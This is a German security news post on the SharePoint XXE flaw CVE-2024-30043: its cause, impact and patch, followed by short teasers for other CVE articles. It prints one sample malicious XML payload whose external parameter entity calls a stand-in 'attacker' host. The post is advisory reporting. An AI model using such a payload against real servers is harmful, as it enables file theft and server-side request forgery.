Schwachstelle in SharePoint: XXE-Angriff ermöglicht Datenexfiltration

Table of Contents

Am 30. Mai 2024 veröffentlichte der Sicherheitsforscher Piotr Bazydło Details zu einer schwerwiegenden Sicherheitslücke in Microsoft SharePoint, die als CVE-2024-30043 bekannt ist. Die XML External Entity (XXE) Schwachstelle betrifft die Klasse Microsoft.SharePoint.WebControls.BaseXmlDataSource, eine abstrakte Basisklasse für Datenquellenobjekte, die zu einer SharePoint-Seite hinzugefügt werden können. Diese Klasse ermöglicht es, Datenquellen spezifisch für eine bestimmte Seite zu definieren. Der kritische Punkt liegt im Execute-Methodenaufruf, der eine URL als Eingabeparameter akzeptiert, welcher auf eine XML-Datei verweist.

Die Schwachstelle wird in zwei Hauptphasen unterteilt: das Abrufen und das Parsen von XML-Daten.

XML-Abruf:

  • Die Methode FetchData wird verwendet, um XML-Daten basierend auf der angegebenen URL abzurufen.
  • Es gibt drei Klassen, die diese Methode implementieren:
  • SoapDataSource: Führt HTTP-SOAP-Anfragen durch.
  • XmlUrlDataSource: Führt anpassbare HTTP-Anfragen durch.
  • SPXmlDataSource: Ruft vorhandene Dateien von der SharePoint-Site ab.

XML-Parsing:

  • Obwohl die DTD-Verarbeitung standardmäßig deaktiviert ist, wird ein XmlSecureResolver verwendet, der das Sicherheitsniveau der XML-Entität festlegt.
  • Der Code liest den Inhalt des XML-Dokuments, wobei eine Schwachstelle in der Art und Weise, wie XmlReader und XmlSecureResolver zusammenarbeiten, ausgenutzt werden kann.

Durch geschickte Manipulation und das Einspeisen einer speziellen XML-Datei kann ein Angreifer die XXE-Schwachstelle ausnutzen, um Dateien mit den Berechtigungen des SharePoint Farm Service-Kontos zu lesen, Server-side Request Forgery (SSRF) Angriffe durchzuführen und NTLM-Relaying zu ermöglichen. Ein Beispiel für eine bösartige XML-Datei könnte wie folgt aussehen:

<?xml version="1.0" ?>
<!DOCTYPE a [
<!ELEMENT a ANY >
<!ENTITY % sp SYSTEM "http://attacker/poc.xml">
%sp;
]>
<a>wat</a>

Durch das Einfügen eines speziellen URL-Formats konnte der Sicherheitsforscher die Sicherheitsvorkehrungen umgehen und einen uneingeschränkten Zugriffspolicy im XmlSecureResolver erreichen, wodurch er Dateien lesen und SSRF-Angriffe durchführen konnte.

Microsoft hat die Schwachstelle gepatcht, indem zusätzliche URL-Parsing-Kontrollen für SPXmlDataSource implementiert und die Nutzung von DTDs durch das XmlTextReader-Objekt verboten wurden. Diese Maßnahmen verhindern, dass Parameterentitäten aufgelöst werden, selbst wenn ein Resolver spezifiziert ist.

Update

Mittlerweile wurde ein Exploit veröffentlicht. Es ist also dringend upzudaten.

Related Posts

PHP: Remote Code Execution über iconv Funktion aus glibc möglich

Ein Exploit mit dem Namen “CNEXT” wurde am 27. Mai 2024 auf Github veröffentlicht, der eine schwerwiegende Sicherheitslücke in PHP ausnutzt und Remote Code Execution (RCE) ermöglicht. Der Exploit nutzt eine Schwachstelle im Dateizugriff von PHP, um Angreifern die vollständige Kontrolle über betroffene Systeme zu ermöglichen. Diese Schwachstelle ist als CVE-2024-2961 bekannt und wird von SUSE mit einem CVSS v3 Basiswert von 8.2 bewertet, was sie als eine Sicherheitslücke mit hoher Priorität einstuft. Die Schwachstelle kann aus der Ferne ausgenutzt werden (Netzwerkangriffsvektor), erfordert keine besonderen Privilegien und keine Interaktion durch den Benutzer. Die Auswirkungen betreffen hauptsächlich die Integrität und Verfügbarkeit des Systems.

Read More

Argument Injection Schwachstelle in Mitel MiCollab

Mitel hat eine schwerwiegende Sicherheitslücke in der NuPoint Unified Messaging (NPM) Komponente von Mitel MiCollab entdeckt. Die Argument Injection Schwachstelle (CVE-2024-35285) könnte von einem Angreifer ausgenutzt werden, um beliebige Befehle im Kontext des Systems auszuführen. Dies stellt ein erhebliches Risiko für die Vertraulichkeit, Integrität und Verfügbarkeit des betroffenen Systems dar.

Read More

Schwachstelle in Spring Cloud Data Flow ermöglicht Schreibzugriff auf beliebige Dateien

Eine schwerwiegende Sicherheitslücke wurde in Spring Cloud Data Flow entdeckt, die es einem böswilligen Benutzer ermöglicht, beliebige Dateien auf dem Dateisystem zu schreiben. Diese Schwachstelle CVE-2024-22263 betrifft den Skipper-Server, der in der Lage ist, Upload-Paketanforderungen zu empfangen. Aufgrund unzureichender Überprüfung des Upload-Pfads kann ein Angreifer, der Zugang zur Skipper-Server-API hat, eine manipulierte Upload-Anforderung verwenden, um Dateien an beliebigen Speicherorten auf dem Dateisystem zu platzieren. Dies könnte zur vollständigen Kompromittierung des Servers führen.

Read More